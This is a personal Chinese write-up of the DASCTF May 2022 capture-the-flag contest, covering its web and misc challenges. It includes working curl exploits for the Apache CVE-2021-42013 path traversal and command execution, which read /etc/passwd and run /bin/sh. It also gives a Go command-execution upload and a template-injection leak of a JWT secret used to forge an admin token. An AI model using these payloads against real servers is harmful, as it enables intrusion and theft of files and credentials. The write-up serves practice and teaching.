感觉这次难度还比较友好,没有队友一个人肝了一天肝到第18,不过全是web和misc,有两道题耽搁时间有点久最后也没出。最后半个小时才开始看密码题,感觉再给点时间的话也能出,有点可惜。

文章目录

  • WEB
    • Power Cookie
    • 魔法浏览器
    • getme
    • hackme
    • fxxkgo
  • MISC
    • 不懂PCB的厨师不是好黑客
    • 卡比
    • 神必流量

WEB

Power Cookie

以游客身份登录,发现服务器返回了set-cookie

将set-cookie返回的值上送,并修改成管理员即可

Cookie: admin=1; Path=/; Domain=127.0.0.1; Max-Age=3600

魔法浏览器

查看源代码,找到魔法浏览器的UA值

重放报文并修改User-Agent

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Magic/100.0.4896.75

getme

本题考点CVE-2021-42013-Apache HTTP Server 2.4.50路径穿越漏洞,直接上exp
可以实现任意文件读取

curl -v --path-as-is http://node4.buuoj.cn:25908/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd


直接读根目录下的/flag文件发现是个假的,然后再用命令执行的exp打,这里浪费了点时间,发现怎么都找不到flag,一度怀疑是否要提权。最后在/diajgk/djflgak/qweqr/eigopl/这个路径下发现了,藏得也太深了。。。

curl -v --data "echo;more /diajgk/djflgak/qweqr/eigopl/fffffflalllallalagggggggggg -al" 'http://node4.buuoj.cn:25908/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'

hackme

进入对应页面可以显示对应的内容,发现users页面显示:

猜测页面对应的是users.go文件。

发现存在/upload页面,可以上传go文件,上传一个试试。

这里注意文件名只能是users.go,别的文件名无效,这里应该是有白名单控制。

访问users发现成功了。

下面思路就是上传一个可以命令执行的go文件,将结果输出到页面上,且文件名为users,然后再访问users页面即可。

代码如下:

package main
import (
"bytes"
"fmt"
"log"
"os/exec"
)
const ShellToUse = "bash"
func Shellout(command string) (error, string, string) {var stdout bytes.Buffer
var stderr bytes.Buffer
cmd := exec.Command(ShellToUse, "-c", command)
cmd.Stdout = &stdout
cmd.Stderr = &stderr
err := cmd.Run()
return err, stdout.String(), stderr.String()
}
func main() {err, out, errout := Shellout("cat /flag")
if err != nil {log.Printf("error: %v\n", err)
}
fmt.Println("--- stdout ---")
fmt.Println(out)
fmt.Println("--- stderr ---")
fmt.Println(errout)
}

fxxkgo

下载附件进行代码审计,一共给了如下几只接口:

func main()  {admin := Account{admin_id, admin_pw, true, secret_key}acc = append(acc, admin)r := gin.Default()r.GET("/",index)// 登录后访问,返回idr.POST("/", rootHandler)// 获取flagr.POST("/flag", flagHandler)r.POST("/auth", authHandler)r.POST("/register", Resist)r.Run(":80")}

注册接口 /register
注册用户,上送id和pw

登录接口 /auth
登录用户,上送id和pw,返回token

返回的token经过JWT编码,可以看到不是管理员

因此这里思路就是进行JWT伪造,不过首先需要知道JWT的密钥,接着往下看。

(不知道叫啥名字我暂且称之为)根目录接口

根据代码审计,服务器会拿请求头的X-Token字段进行解码,因此我们上送一下

func rootHandler(c *gin.Context) {token := c.GetHeader("X-Token")if token != "" {id, _ := jwt_decode(token)acc := get_account(id)tpl, err := template.New("").Parse("Logged in as " + acc.id)if err != nil {}tpl.Execute(c.Writer, &acc)return} else {return}
}func flagHandler(c *gin.Context) {token := c.GetHeader("X-Token")if token != "" {id, is_admin := jwt_decode(token)if is_admin == true {p := Resp{true, "Hi " + id + ", flag is " + flag}res, err := json.Marshal(p)if err != nil {}c.JSON(200, string(res))return} else {c.JSON(403, gin.H{"code": 403,"status": "error",})return}}
}

发现可以回显用户的id

又根据代码审计,用户账户中有一个secret_key字段,即为JWT的加密密钥。

type Account struct {id         stringpw         stringis_admin   boolsecret_key string
}func jwt_encode(id string, is_admin bool) (string, error) {claims := AccountClaims{id, is_admin, jwt.StandardClaims{},}token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)return token.SignedString([]byte(secret_key))
}func jwt_decode(s string) (string, bool) {token, err := jwt.ParseWithClaims(s, &AccountClaims{}, func(token *jwt.Token) (interface{}, error) {return []byte(secret_key), nil})if err != nil {fmt.Println(err)return "", false}if claims, ok := token.Claims.(*AccountClaims); ok && token.Valid {return claims.Id, claims.Is_admin}return "", false
}

那么这里考虑利用SSTI漏洞泄露出用户账户信息。

1、使用/register接口注册,id上送为{{.}}
2、使用auth登录,得到token
3、请求头X-Token参数上送刚才2回显的token,访问根目录

得到密钥为fasdf972u1041xu90zm10Av
使用密钥伪造jwt,将is_admin标识是否管理员的字段值修改为true

使用伪造的jwt请求flag即可

MISC

不懂PCB的厨师不是好黑客

下载附件,直接搜索关键字DAS
attachment/PCB/c004aa25e9434d05ba7ddeeafecc278c.epcb,在这个文件内找到flag

卡比

经过信息搜集,发现是星之卡比·探索发现中的神秘文字

解密得到ptrh{gwdvswvqbfiszsz}
根据密文结构推测是维吉尼亚密码,尝试进行解密,密钥kirby

神必流量

分析流量包,发现有其中一个USBMS协议的流量传输了一个7z文件

将文件提取出来,解压需要密码,尝试弱密码123456成功解压
打开是一个链接,是Google云盘的两个文件,下载需要科学上网

下载得到一个压缩包,仍然是弱密码123456解压

得到一个main.exeoutput.txt,尝试运行exe文件

逆向分析exe文件,将txt文件名修改为flag.txt,再次运行,得到flag


2022DASCTF MAY 出题人挑战赛个人Writeup相关推荐

  1. 2022DASCTF MAY 出题人挑战赛

    提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 前言 一.misc 1.不懂PCB的厨师不是好黑客 2.卡比 二.web 1. 2. 总结 前言 提示:这里可以添加本文要记 ...

  2. BAT华为美团头条面试考什么?这份GitHub万星资源,告诉你面试题+答案+出题人分析...

    铜灵 发自 凹非寺 量子位 出品 | 公众号 QbitAI 2020校招脚步临近,怎样备战即将到来的面试,在众多面试者中脱颖而出惊艳到面试官,化身大厂Offer收割机? GitHub上就有这样一个万星 ...

  3. 牛客练习赛38 E 出题人的数组 2018ccpc桂林A题 贪心

    https://ac.nowcoder.com/acm/contest/358/E 题意: 出题人有两个数组,A,B,请你把两个数组归并起来使得cost=∑i∗ci 最小,归并要求原数组的数的顺序在新 ...

  4. [选拔赛1]花园(矩阵快速幂),JM的月亮神树(最短路),保护出题人(斜率优化)

    多年不考试,一夜回到解放前 T1:花园 title solution code T2:月亮神树 title solution code T3:保护出题人 title solution code T1: ...

  5. Java实现 LeetCode 521 最长特殊序列 Ⅰ(出题人:“就是喜欢看你们不敢相信那么简单,又不敢提交的样子。”)

    521. 最长特殊序列 Ⅰ 给定两个字符串,你需要从这两个字符串中找出最长的特殊序列.最长特殊序列定义如下:该序列为某字符串独有的最长子序列(即不能是其他字符串的子序列). 子序列可以通过删去字符串中 ...

  6. 2019上半年阿里,腾讯,百度,美团,头条等技术面试题目,以及答案,专家出题人分析汇总...

    一.阿里篇 1.1.1 如何实现一个高效的单向链表逆序输出? 1.1.2 已知sqrt(2)约等于1.414,要求不用数学库,求sqrt(2)精确到小数点后10位 1.1.3 给定一个二叉搜索树(BS ...

  7. [bzoj3203][SDOI2013]保护出题人

    3203: [Sdoi2013]保护出题人 Time Limit: 3 Sec Memory Limit: 128 MB Submit: 389 Solved: 218 [Submit][Status ...

  8. 2020年最新总结,阿里,腾讯,百度,美团,头条等技术面试题目,以及答案,专家出题人分析汇总

    2020年最新总结,阿里,腾讯,百度,美团,头条等技术面试题目,以及答案,专家出题人分析汇总 2020最新GitHub面经合集链接https://github.com/0voice/interview ...

  9. 字节跳动春招攻略:学长学姐笔经面经,还有出题人「锦囊」

    正在参加春季校招的同学们,此刻可能是最紧张的了: 简历投出去了,什么时候才能收到笔试通知啊? 收到了笔试通知,最后两天还来得及做什么准备? 面试会问什么问题?怎么才能提升通过率.拿到更好的offer? ...

最新文章

  1. matlab v7.0,matlab下载-matlab免费版v7.0 官方版下载-6188手游网
  2. 一种mac使用机械键盘的解决方案
  3. 如何在企业内部实现云信私有化
  4. python创建线程
  5. 消除单点,一篇搞定 | 架构设计篇
  6. python爬虫实现方式_python爬虫的实现方法
  7. 有关分组、帧、报文、比特流的问题
  8. ie-此更新不适应于此电脑
  9. 手机图片怎么免费转换成PDF格式?教程来了
  10. 最新借条模板,如何写
  11. 中国证券业协会会员登记注册程序
  12. delphi 人脸比对_中控人脸/指纹机DEMO(delphi)
  13. 添加solidworks许可证服务器,SolidWorks许可服务器问题排查
  14. 【专家观点】超大规模数据要素市场体系下数据价格生成机制研究
  15. 集群服务器上的jupyter配置
  16. C语言里栈和堆的区别整理
  17. 领域驱动设计的重要性
  18. logback的xml文件,b站黑马程序员
  19. 我们如何全面转向 Kubernetes?
  20. android-支持多种屏幕[声明适用于 Android 3.2 的平板电脑布局] 七

热门文章

  1. opencv实现图像二值化(直接确定或滑杆调节)
  2. matlab sig2ext,matlab sig2ext
  3. Python实现抖音关键词热度搜索小程序(附源码)
  4. 百度/谷歌/360/搜狗等大型搜索引擎提交入口,做完网站必须做的工作
  5. docker安装报错处理
  6. 一个账号限制只能同时一个人登录
  7. 【Android入门】零二、Gradle配置(国内镜像、jetpack)
  8. android三星拍照不够,拍照实用但不够便携 三星 K zoom评测
  9. 为什么出现新零售 如何做好新零售?
  10. CAD做图常用的命令